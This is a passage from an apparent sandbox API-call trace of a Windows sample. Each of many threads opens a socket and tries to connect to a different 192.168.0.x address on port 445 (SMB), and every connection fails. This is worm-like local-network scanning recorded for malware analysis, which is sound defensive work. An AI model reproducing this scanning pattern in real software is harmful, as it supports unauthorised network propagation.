[0117.481] closesocket (s=0x750) returned 0 [0117.482] WSACleanup () returned 0 [0117.482] GetCurrentThreadId () returned 0x1104 [0117.482] GetCurrentThreadId () returned 0x1104 [0117.482] GetCurrentThreadId () returned 0x1104 Thread: id = 525 os_tid = 0x1108 [0096.401] GetCurrentThreadId () returned 0x1108 [0096.401] GetCurrentThreadId () returned 0x1108 [0096.401] GetCurrentThreadId () returned 0x1108 [0096.401] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5e1fdf0 | out: lpWSAData=0x5e1fdf0) returned 0 [0096.401] socket (af=2, type=1, protocol=0) returned 0x818 [0096.401] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.401] htons (hostshort=0x1bd) returned 0xbd01 [0096.401] connect (s=0x818, name=0x5e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.483] closesocket (s=0x818) returned 0 [0117.483] WSACleanup () returned 0 [0117.483] GetCurrentThreadId () returned 0x1108 [0117.483] GetCurrentThreadId () returned 0x1108 [0117.483] GetCurrentThreadId () returned 0x1108 Thread: id = 526 os_tid = 0x110c [0096.402] GetCurrentThreadId () returned 0x110c [0096.402] GetCurrentThreadId () returned 0x110c [0096.402] GetCurrentThreadId () returned 0x110c [0096.402] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5f5fdf0 | out: lpWSAData=0x5f5fdf0) returned 0 [0096.402] socket (af=2, type=1, protocol=0) returned 0x80c [0096.402] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.402] htons (hostshort=0x1bd) returned 0xbd01 [0096.402] connect (s=0x80c, name=0x5f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.484] closesocket (s=0x80c) returned 0 [0117.484] WSACleanup () returned 0 [0117.484] GetCurrentThreadId () returned 0x110c [0117.484] GetCurrentThreadId () returned 0x110c [0117.484] GetCurrentThreadId () returned 0x110c Thread: id = 529 os_tid = 0x1120 [0096.403] GetCurrentThreadId () returned 0x1120 [0096.403] GetCurrentThreadId () returned 0x1120 [0096.403] GetCurrentThreadId () returned 0x1120 [0096.403] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x609fdf0 | out: lpWSAData=0x609fdf0) returned 0 [0096.403] socket (af=2, type=1, protocol=0) returned 0x7c0 [0096.404] inet_addr (cp="192.168.0.220") returned 0xdc00a8c0 [0096.404] htons (hostshort=0x1bd) returned 0xbd01 [0096.404] connect (s=0x7c0, name=0x609fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.220"), namelen=16) returned -1 [0117.485] closesocket (s=0x7c0) returned 0 [0117.485] WSACleanup () returned 0 [0117.485] GetCurrentThreadId () returned 0x1120 [0117.485] GetCurrentThreadId () returned 0x1120 [0117.485] GetCurrentThreadId () returned 0x1120 Thread: id = 530 os_tid = 0x1124 [0096.404] GetCurrentThreadId () returned 0x1124 [0096.404] GetCurrentThreadId () returned 0x1124 [0096.404] GetCurrentThreadId () returned 0x1124 [0096.404] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x61dfdf0 | out: lpWSAData=0x61dfdf0) returned 0 [0096.404] socket (af=2, type=1, protocol=0) returned 0x7f0 [0096.404] inet_addr (cp="192.168.0.229") returned 0xe500a8c0 [0096.404] htons (hostshort=0x1bd) returned 0xbd01 [0096.404] connect (s=0x7f0, name=0x61dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.229"), namelen=16) returned -1 [0117.485] closesocket (s=0x7f0) returned 0 [0117.486] WSACleanup () returned 0 [0117.486] GetCurrentThreadId () returned 0x1124 [0117.486] GetCurrentThreadId () returned 0x1124 [0117.486] GetCurrentThreadId () returned 0x1124 Thread: id = 532 os_tid = 0x112c [0097.115] GetCurrentThreadId () returned 0x112c [0097.115] GetCurrentThreadId () returned 0x112c [0097.115] GetCurrentThreadId () returned 0x112c [0097.115] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x631fdf0 | out: lpWSAData=0x631fdf0) returned 0 [0097.115] socket (af=2, type=1, protocol=0) returned 0x7f4 [0097.115] inet_addr (cp="192.168.0.225") returned 0xe100a8c0 [0097.115] htons (hostshort=0x1bd) returned 0xbd01 [0097.116] connect (s=0x7f4, name=0x631fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.225"), namelen=16) returned -1 [0118.175] closesocket (s=0x7f4) returned 0 [0118.176] WSACleanup () returned 0 [0118.176] GetCurrentThreadId () returned 0x112c [0118.176] GetCurrentThreadId () returned 0x112c [0118.176] GetCurrentThreadId () returned 0x112c Thread: id = 533 os_tid = 0x1130 [0097.116] GetCurrentThreadId () returned 0x1130 [0097.116] GetCurrentThreadId () returned 0x1130 [0097.116] GetCurrentThreadId () returned 0x1130 [0097.116] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x645fdf0 | out: lpWSAData=0x645fdf0) returned 0 [0097.116] socket (af=2, type=1, protocol=0) returned 0x84c [0097.116] inet_addr (cp="192.168.0.234") returned 0xea00a8c0 [0097.117] htons (hostshort=0x1bd) returned 0xbd01 [0097.117] connect (s=0x84c, name=0x645fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.234"), namelen=16) returned -1 [0118.176] closesocket (s=0x84c) returned 0 [0118.176] WSACleanup () returned 0 [0118.176] GetCurrentThreadId () returned 0x1130 [0118.177] GetCurrentThreadId () returned 0x1130 [0118.177] GetCurrentThreadId () returned 0x1130 Thread: id = 534 os_tid = 0x1134 [0097.119] GetCurrentThreadId () returned 0x1134 [0097.119] GetCurrentThreadId () returned 0x1134 [0097.119] GetCurrentThreadId () returned 0x1134 [0097.119] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x659fdf0 | out: lpWSAData=0x659fdf0) returned 0 [0097.119] socket (af=2, type=1, protocol=0) returned 0x844 [0097.119] inet_addr (cp="192.168.0.225") returned 0xe100a8c0 [0097.119] htons (hostshort=0x1bd) returned 0xbd01 [0097.119] connect (s=0x844, name=0x659fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.225"), namelen=16) returned -1 [0118.177] closesocket (s=0x844) returned 0 [0118.177] WSACleanup () returned 0 [0118.177] GetCurrentThreadId () returned 0x1134 [0118.177] GetCurrentThreadId () returned 0x1134 [0118.177] GetCurrentThreadId () returned 0x1134 Thread: id = 535 os_tid = 0x1138 [0097.120] GetCurrentThreadId () returned 0x1138 [0097.120] GetCurrentThreadId () returned 0x1138 [0097.120] GetCurrentThreadId () returned 0x1138 [0097.120] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x66dfdf0 | out: lpWSAData=0x66dfdf0) returned 0 [0097.120] socket (af=2, type=1, protocol=0) returned 0x834 [0097.120] inet_addr (cp="192.168.0.234") returned 0xea00a8c0 [0097.120] htons (hostshort=0x1bd) returned 0xbd01 [0097.120] connect (s=0x834, name=0x66dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.234"), namelen=16) returned -1 [0118.178] closesocket (s=0x834) returned 0 [0118.178] WSACleanup () returned 0 [0118.178] GetCurrentThreadId () returned 0x1138 [0118.178] GetCurrentThreadId () returned 0x1138 [0118.178] GetCurrentThreadId () returned 0x1138 Thread: id = 536 os_tid = 0x113c [0097.121] GetCurrentThreadId () returned 0x113c [0097.121] GetCurrentThreadId () returned 0x113c [0097.121] GetCurrentThreadId () returned 0x113c [0097.121] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x681fdf0 | out: lpWSAData=0x681fdf0) returned 0 [0097.121] socket (af=2, type=1, protocol=0) returned 0x864 [0097.121] inet_addr (cp="192.168.0.225") returned 0xe100a8c0 [0097.121] htons (hostshort=0x1bd) returned 0xbd01 [0097.122] connect (s=0x864, name=0x681fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.225"), namelen=16) returned -1 [0118.179] closesocket (s=0x864) returned 0 [0118.179] WSACleanup () returned 0 [0118.179] GetCurrentThreadId () returned 0x113c [0118.179] GetCurrentThreadId () returned 0x113c [0118.179] GetCurrentThreadId () returned 0x113c Thread: id = 537 os_tid = 0x1140 [0097.122] GetCurrentThreadId () returned 0x1140 [0097.122] GetCurrentThreadId () returned 0x1140 [0097.122] GetCurrentThreadId () returned 0x1140 [0097.122] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x695fdf0 | out: lpWSAData=0x695fdf0) returned 0 [0097.122] socket (af=2, type=1, protocol=0) returned 0x828 [0097.122] inet_addr (cp="192.168.0.234") returned 0xea00a8c0 [0097.122] htons (hostshort=0x1bd) returned 0xbd01 [0097.122] connect (s=0x828, name=0x695fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.234"), namelen=16) returned -1 [0118.180] closesocket (s=0x828) returned 0 [0118.180] WSACleanup () returned 0 [0118.180] GetCurrentThreadId () returned 0x1140 [0118.180] GetCurrentThreadId () returned 0x1140 [0118.180] GetCurrentThreadId () returned 0x1140 Thread: id = 538 os_tid = 0x1144 [0097.124] GetCurrentThreadId () returned 0x1144 [0097.124] GetCurrentThreadId () returned 0x1144 [0097.124] GetCurrentThreadId () returned 0x1144 [0097.124] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6a9fdf0 | out: lpWSAData=0x6a9fdf0) returned 0 [0097.124] socket (af=2, type=1, protocol=0) returned 0x8a4 [0097.125] inet_addr (cp="192.168.0.225") returned 0xe100a8c0 [0097.125] htons (hostshort=0x1bd) returned 0xbd01 [0097.125] connect (s=0x8a4, name=0x6a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.225"), namelen=16) returned -1 [0118.181] closesocket (s=0x8a4) returned 0 [0118.181] WSACleanup () returned 0 [0118.181] GetCurrentThreadId () returned 0x1144 [0118.181] GetCurrentThreadId () returned 0x1144 [0118.181] GetCurrentThreadId () returned 0x1144 Thread: id = 539 os_tid = 0x1148 [0097.127] GetCurrentThreadId () returned 0x1148 [0097.127] GetCurrentThreadId () returned 0x1148 [0097.127] GetCurrentThreadId () returned 0x1148 [0097.127] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6bdfdf0 | out: lpWSAData=0x6bdfdf0) returned 0 [0097.127] socket (af=2, type=1, protocol=0) returned 0x8e4 [0097.127] inet_addr (cp="192.168.0.234") returned 0xea00a8c0 [0097.127] htons (hostshort=0x1bd) returned 0xbd01 [0097.127] connect (s=0x8e4, name=0x6bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.234"), namelen=16) returned -1 [0118.181] closesocket (s=0x8e4) returned 0 [0118.182] WSACleanup () returned 0 [0118.182] GetCurrentThreadId () returned 0x1148 [0118.182] GetCurrentThreadId () returned 0x1148 [0118.182] GetCurrentThreadId () returned 0x1148 Thread: id = 540 os_tid = 0x114c [0098.052] GetCurrentThreadId () returned 0x114c [0098.052] GetCurrentThreadId () returned 0x114c [0098.052] GetCurrentThreadId () returned 0x114c [0098.052] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6d1fdf0 | out: lpWSAData=0x6d1fdf0) returned 0 [0098.052] socket (af=2, type=1, protocol=0) returned 0x94c [0098.052] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.052] htons (hostshort=0x1bd) returned 0xbd01 [0098.052] connect (s=0x94c, name=0x6d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.174] closesocket (s=0x94c) returned 0 [0119.174] WSACleanup () returned 0 [0119.174] GetCurrentThreadId () returned 0x114c [0119.174] GetCurrentThreadId () returned 0x114c [0119.174] GetCurrentThreadId () returned 0x114c Thread: id = 541 os_tid = 0x1150 [0098.053] GetCurrentThreadId () returned 0x1150 [0098.053] GetCurrentThreadId () returned 0x1150 [0098.053] GetCurrentThreadId () returned 0x1150 [0098.053] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6e5fdf0 | out: lpWSAData=0x6e5fdf0) returned 0 [0098.053] socket (af=2, type=1, protocol=0) returned 0x8c8 [0098.053] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.053] htons (hostshort=0x1bd) returned 0xbd01 [0098.053] connect (s=0x8c8, name=0x6e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.175] closesocket (s=0x8c8) returned 0 [0119.175] WSACleanup () returned 0 [0119.175] GetCurrentThreadId () returned 0x1150 [0119.175] GetCurrentThreadId () returned 0x1150 [0119.175] GetCurrentThreadId () returned 0x1150 Thread: id = 542 os_tid = 0x1154 [0098.055] GetCurrentThreadId () returned 0x1154 [0098.055] GetCurrentThreadId () returned 0x1154 [0098.055] GetCurrentThreadId () returned 0x1154 [0098.055] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6f9fdf0 | out: lpWSAData=0x6f9fdf0) returned 0 [0098.055] socket (af=2, type=1, protocol=0) returned 0x904 [0098.055] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.055] htons (hostshort=0x1bd) returned 0xbd01 [0098.055] connect (s=0x904, name=0x6f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.175] closesocket (s=0x904) returned 0 [0119.176] WSACleanup () returned 0 [0119.176] GetCurrentThreadId () returned 0x1154 [0119.176] GetCurrentThreadId () returned 0x1154 [0119.176] GetCurrentThreadId () returned 0x1154 Thread: id = 543 os_tid = 0x1158 [0098.056] GetCurrentThreadId () returned 0x1158 [0098.056] GetCurrentThreadId () returned 0x1158 [0098.056] GetCurrentThreadId () returned 0x1158 [0098.056] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x70dfdf0 | out: lpWSAData=0x70dfdf0) returned 0 [0098.056] socket (af=2, type=1, protocol=0) returned 0x890 [0098.056] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.056] htons (hostshort=0x1bd) returned 0xbd01 [0098.056] connect (s=0x890, name=0x70dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.176] closesocket (s=0x890) returned 0 [0119.176] WSACleanup () returned 0 [0119.176] GetCurrentThreadId () returned 0x1158 [0119.176] GetCurrentThreadId () returned 0x1158 [0119.177] GetCurrentThreadId () returned 0x1158 Thread: id = 544 os_tid = 0x115c [0098.056] GetCurrentThreadId () returned 0x115c [0098.056] GetCurrentThreadId () returned 0x115c [0098.056] GetCurrentThreadId () returned 0x115c [0098.056] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x721fdf0 | out: lpWSAData=0x721fdf0) returned 0 [0098.056] socket (af=2, type=1, protocol=0) returned 0x888 [0098.057] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.057] htons (hostshort=0x1bd) returned 0xbd01 [0098.057] connect (s=0x888, name=0x721fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.177] closesocket (s=0x888) returned 0 [0119.177] WSACleanup () returned 0 [0119.177] GetCurrentThreadId () returned 0x115c [0119.177] GetCurrentThreadId () returned 0x115c [0119.177] GetCurrentThreadId () returned 0x115c Thread: id = 545 os_tid = 0x1160 [0098.057] GetCurrentThreadId () returned 0x1160 [0098.057] GetCurrentThreadId () returned 0x1160 [0098.057] GetCurrentThreadId () returned 0x1160 [0098.057] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x735fdf0 | out: lpWSAData=0x735fdf0) returned 0 [0098.057] socket (af=2, type=1, protocol=0) returned 0x7a0 [0098.057] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.057] htons (hostshort=0x1bd) returned 0xbd01 [0098.057] connect (s=0x7a0, name=0x735fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.178] closesocket (s=0x7a0) returned 0 [0119.178] WSACleanup () returned 0 [0119.178] GetCurrentThreadId () returned 0x1160 [0119.178] GetCurrentThreadId () returned 0x1160 [0119.178] GetCurrentThreadId () returned 0x1160 Thread: id = 546 os_tid = 0x1164 [0098.059] GetCurrentThreadId () returned 0x1164 [0098.060] GetCurrentThreadId () returned 0x1164 [0098.060] GetCurrentThreadId () returned 0x1164 [0098.060] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x749fdf0 | out: lpWSAData=0x749fdf0) returned 0 [0098.060] socket (af=2, type=1, protocol=0) returned 0x944 [0098.060] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.060] htons (hostshort=0x1bd) returned 0xbd01 [0098.060] connect (s=0x944, name=0x749fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.179] closesocket (s=0x944) returned 0 [0119.179] WSACleanup () returned 0 [0119.179] GetCurrentThreadId () returned 0x1164 [0119.179] GetCurrentThreadId () returned 0x1164 [0119.179] GetCurrentThreadId () returned 0x1164 Thread: id = 547 os_tid = 0x1168 [0098.060] GetCurrentThreadId () returned 0x1168 [0098.060] GetCurrentThreadId () returned 0x1168 [0098.060] GetCurrentThreadId () returned 0x1168 [0098.060] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x75dfdf0 | out: lpWSAData=0x75dfdf0) returned 0 [0098.060] socket (af=2, type=1, protocol=0) returned 0x934 [0098.060] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.060] htons (hostshort=0x1bd) returned 0xbd01 [0098.060] connect (s=0x934, name=0x75dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.180] closesocket (s=0x934) returned 0 [0119.180] WSACleanup () returned 0 [0119.180] GetCurrentThreadId () returned 0x1168 [0119.180] GetCurrentThreadId () returned 0x1168 [0119.180] GetCurrentThreadId () returned 0x1168 Thread: id = 548 os_tid = 0x116c [0098.063] GetCurrentThreadId () returned 0x116c [0098.063] GetCurrentThreadId () returned 0x116c [0098.063] GetCurrentThreadId () returned 0x116c [0098.063] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x771fdf0 | out: lpWSAData=0x771fdf0) returned 0 [0098.063] socket (af=2, type=1, protocol=0) returned 0x984 [0098.063] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.063] htons (hostshort=0x1bd) returned 0xbd01 [0098.063] connect (s=0x984, name=0x771fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.181] closesocket (s=0x984) returned 0 [0119.181] WSACleanup () returned 0 [0119.181] GetCurrentThreadId () returned 0x116c [0119.181] GetCurrentThreadId () returned 0x116c [0119.181] GetCurrentThreadId () returned 0x116c Thread: id = 549 os_tid = 0x1170 [0098.063] GetCurrentThreadId () returned 0x1170 [0098.063] GetCurrentThreadId () returned 0x1170 [0098.063] GetCurrentThreadId () returned 0x1170 [0098.063] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x785fdf0 | out: lpWSAData=0x785fdf0) returned 0 [0098.063] socket (af=2, type=1, protocol=0) returned 0x974 [0098.064] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.064] htons (hostshort=0x1bd) returned 0xbd01 [0098.064] connect (s=0x974, name=0x785fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.182] closesocket (s=0x974) returned 0 [0119.182] WSACleanup () returned 0 [0119.182] GetCurrentThreadId () returned 0x1170 [0119.182] GetCurrentThreadId () returned 0x1170 [0119.182] GetCurrentThreadId () returned 0x1170 Thread: id = 550 os_tid = 0x1174 [0098.065] GetCurrentThreadId () returned 0x1174 [0098.065] GetCurrentThreadId () returned 0x1174 [0098.065] GetCurrentThreadId () returned 0x1174 [0098.065] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x799fdf0 | out: lpWSAData=0x799fdf0) returned 0 [0098.065] socket (af=2, type=1, protocol=0) returned 0x9a4 [0098.065] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.065] htons (hostshort=0x1bd) returned 0xbd01 [0098.065] connect (s=0x9a4, name=0x799fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.183] closesocket (s=0x9a4) returned 0 [0119.183] WSACleanup () returned 0 [0119.183] GetCurrentThreadId () returned 0x1174 [0119.183] GetCurrentThreadId () returned 0x1174 [0119.183] GetCurrentThreadId () returned 0x1174 Thread: id = 551 os_tid = 0x1178 [0098.066] GetCurrentThreadId () returned 0x1178 [0098.066] GetCurrentThreadId () returned 0x1178 [0098.066] GetCurrentThreadId () returned 0x1178 [0098.066] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7adfdf0 | out: lpWSAData=0x7adfdf0) returned 0 [0098.066] socket (af=2, type=1, protocol=0) returned 0x968 [0098.066] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.066] htons (hostshort=0x1bd) returned 0xbd01 [0098.066] connect (s=0x968, name=0x7adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.184] closesocket (s=0x968) returned 0 [0119.184] WSACleanup () returned 0 [0119.184] GetCurrentThreadId () returned 0x1178 [0119.184] GetCurrentThreadId () returned 0x1178 [0119.184] GetCurrentThreadId () returned 0x1178 Thread: id = 552 os_tid = 0x117c [0098.068] GetCurrentThreadId () returned 0x117c [0098.068] GetCurrentThreadId () returned 0x117c [0098.068] GetCurrentThreadId () returned 0x117c [0098.068] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7c1fdf0 | out: lpWSAData=0x7c1fdf0) returned 0 [0098.069] socket (af=2, type=1, protocol=0) returned 0x9e4 [0098.069] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.069] htons (hostshort=0x1bd) returned 0xbd01 [0098.069] connect (s=0x9e4, name=0x7c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.185] closesocket (s=0x9e4) returned 0 [0119.185] WSACleanup () returned 0 [0119.185] GetCurrentThreadId () returned 0x117c [0119.185] GetCurrentThreadId () returned 0x117c [0119.185] GetCurrentThreadId () returned 0x117c Thread: id = 553 os_tid = 0x1180 [0098.069] GetCurrentThreadId () returned 0x1180 [0098.069] GetCurrentThreadId () returned 0x1180 [0098.069] GetCurrentThreadId () returned 0x1180 [0098.069] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7d5fdf0 | out: lpWSAData=0x7d5fdf0) returned 0 [0098.069] socket (af=2, type=1, protocol=0) returned 0x9d4 [0098.069] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.069] htons (hostshort=0x1bd) returned 0xbd01 [0098.069] connect (s=0x9d4, name=0x7d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.186] closesocket (s=0x9d4) returned 0 [0119.186] WSACleanup () returned 0 [0119.186] GetCurrentThreadId () returned 0x1180 [0119.186] GetCurrentThreadId () returned 0x1180 [0119.186] GetCurrentThreadId () returned 0x1180 Thread: id = 554 os_tid = 0x1184 [0098.070] GetCurrentThreadId () returned 0x1184 [0098.070] GetCurrentThreadId () returned 0x1184 [0098.070] GetCurrentThreadId () returned 0x1184 [0098.070] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7e9fdf0 | out: lpWSAData=0x7e9fdf0) returned 0 [0098.070] socket (af=2, type=1, protocol=0) returned 0x924 [0098.070] inet_addr (cp="192.168.0.232") returned 0xe800a8c0 [0098.070] htons (hostshort=0x1bd) returned 0xbd01 [0098.070] connect (s=0x924, name=0x7e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.232"), namelen=16) returned -1 [0119.186] closesocket (s=0x924) returned 0 [0119.187] WSACleanup () returned 0 [0119.187] GetCurrentThreadId () returned 0x1184 [0119.187] GetCurrentThreadId () returned 0x1184 [0119.187] GetCurrentThreadId () returned 0x1184 Thread: id = 555 os_tid = 0x1188 [0098.070] GetCurrentThreadId () returned 0x1188 [0098.070] GetCurrentThreadId () returned 0x1188 [0098.070] GetCurrentThreadId () returned 0x1188 [0098.070] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7fdfdf0 | out: lpWSAData=0x7fdfdf0) returned 0 [0098.070] socket (af=2, type=1, protocol=0) returned 0x78c [0098.071] inet_addr (cp="192.168.0.241") returned 0xf100a8c0 [0098.071] htons (hostshort=0x1bd) returned 0xbd01 [0098.071] connect (s=0x78c, name=0x7fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.241"), namelen=16) returned -1 [0119.187] closesocket (s=0x78c) returned 0 [0119.188] WSACleanup () returned 0 [0119.188] GetCurrentThreadId () returned 0x1188 [0119.188] GetCurrentThreadId () returned 0x1188 [0119.188] GetCurrentThreadId () returned 0x1188 Thread: id = 556 os_tid = 0x118c [0098.491] GetCurrentThreadId () returned 0x118c [0098.491] GetCurrentThreadId () returned 0x118c [0098.491] GetCurrentThreadId () returned 0x118c [0098.491] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x811fdf0 | out: lpWSAData=0x811fdf0) returned 0 [0098.491] socket (af=2, type=1, protocol=0) returned 0xa24 [0098.491] inet_addr (cp="192.168.0.236") returned 0xec00a8c0 [0098.491] htons (hostshort=0x1bd) returned 0xbd01 [0098.491] connect (s=0xa24, name=0x811fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.236"), namelen=16) returned -1 [0119.767] closesocket (s=0xa24) returned 0 [0119.768] WSACleanup () returned 0 [0119.768] GetCurrentThreadId () returned 0x118c [0119.768] GetCurrentThreadId () returned 0x118c [0119.768] GetCurrentThreadId () returned 0x118c Thread: id = 557 os_tid = 0x1190 [0098.492] GetCurrentThreadId () returned 0x1190 [0098.492] GetCurrentThreadId () returned 0x1190 [0098.492] GetCurrentThreadId () returned 0x1190 [0098.492] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x825fdf0 | out: lpWSAData=0x825fdf0) returned 0 [0098.492] socket (af=2, type=1, protocol=0) returned 0xa14 [0098.492] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0098.492] htons (hostshort=0x1bd) returned 0xbd01 [0098.492] connect (s=0xa14, name=0x825fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0119.768] closesocket (s=0xa14) returned 0 [0119.769] WSACleanup () returned 0 [0119.769] GetCurrentThreadId () returned 0x1190 [0119.769] GetCurrentThreadId () returned 0x1190 [0119.769] GetCurrentThreadId () returned 0x1190 Thread: id = 558 os_tid = 0x1194 [0098.493] GetCurrentThreadId () returned 0x1194 [0098.493] GetCurrentThreadId () returned 0x1194 [0098.493] GetCurrentThreadId () returned 0x1194 [0098.493] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x839fdf0 | out: lpWSAData=0x839fdf0) returned 0 [0098.493] socket (af=2, type=1, protocol=0) returned 0x730 [0098.493] inet_addr (cp="192.168.0.236") returned 0xec00a8c0 [0098.493] htons (hostshort=0x1bd) returned 0xbd01 [0098.493] connect (s=0x730, name=0x839fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.236"), namelen=16) returned -1 [0119.769] closesocket (s=0x730) returned 0 [0119.769] WSACleanup () returned 0 [0119.769] GetCurrentThreadId () returned 0x1194 [0119.769] GetCurrentThreadId () returned 0x1194 [0119.769] GetCurrentThreadId () returned 0x1194 Thread: id = 559 os_tid = 0x1198 [0098.493] GetCurrentThreadId () returned 0x1198 [0098.493] GetCurrentThreadId () returned 0x1198 [0098.493] GetCurrentThreadId () returned 0x1198 [0098.493] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x84dfdf0 | out: lpWSAData=0x84dfdf0) returned 0 [0098.493] socket (af=2, type=1, protocol=0) returned 0x6e0 [0098.494] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0098.494] htons (hostshort=0x1bd) returned 0xbd01 [0098.494] connect (s=0x6e0, name=0x84dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) returned -1 [0119.770] closesocket (s=0x6e0) returned 0 [0119.770] WSACleanup () returned 0 [0119.770] GetCurrentThreadId () returned 0x1198 [0119.770] GetCurrentThreadId () returned 0x1198 [0119.770] GetCurrentThreadId () returned 0x1198 Thread: id = 560 os_tid = 0x119c [0098.496] GetCurrentThreadId () returned 0x119c [0098.496] GetCurrentThreadId () returned 0x119c [0098.496] GetCurrentThreadId () returned 0x119c [0098.496] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x861fdf0 | out: lpWSAData=0x861fdf0) returned 0 [0098.496] socket (af=2, type=1, protocol=0) returned 0xa64 [0098.496] inet_addr (cp="192.168.0.236") returned 0xec00a8c0 [0098.496] htons (hostshort=0x1bd) returned 0xbd01 [0098.496] connect (s=0xa64, name=0x861fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.236"), namelen=16) returned -1 [0119.771] closesocket (s=0xa64) returned 0 [0119.771] WSACleanup () returned 0 [0119.771] GetCurrentThreadId () returned 0x119c [0119.771] GetCurrentThreadId () returned 0x119c [0119.771] GetCurrentThreadId () returned 0x119c Thread: id = 561 os_tid = 0x11a0 [0098.497] GetCurrentThreadId () returned 0x11a0 [0098.497] GetCurrentThreadId () returned 0x11a0 [0098.497] GetCurrentThreadId () returned 0x11a0 [0098.497] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x875fdf0 | out: lpWSAData=0x875fdf0) returned 0 [0098.497] socket (af=2, type=1, protocol=0) returned 0xa54 [0098.497] inet_addr (cp="192.168.0.245") returned 0xf500a8c0 [0098.497] htons (hostshort=0x1bd) returned 0xbd01 [0098.497] connect (s=0xa54, name=0x875fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.245"), namelen=16) 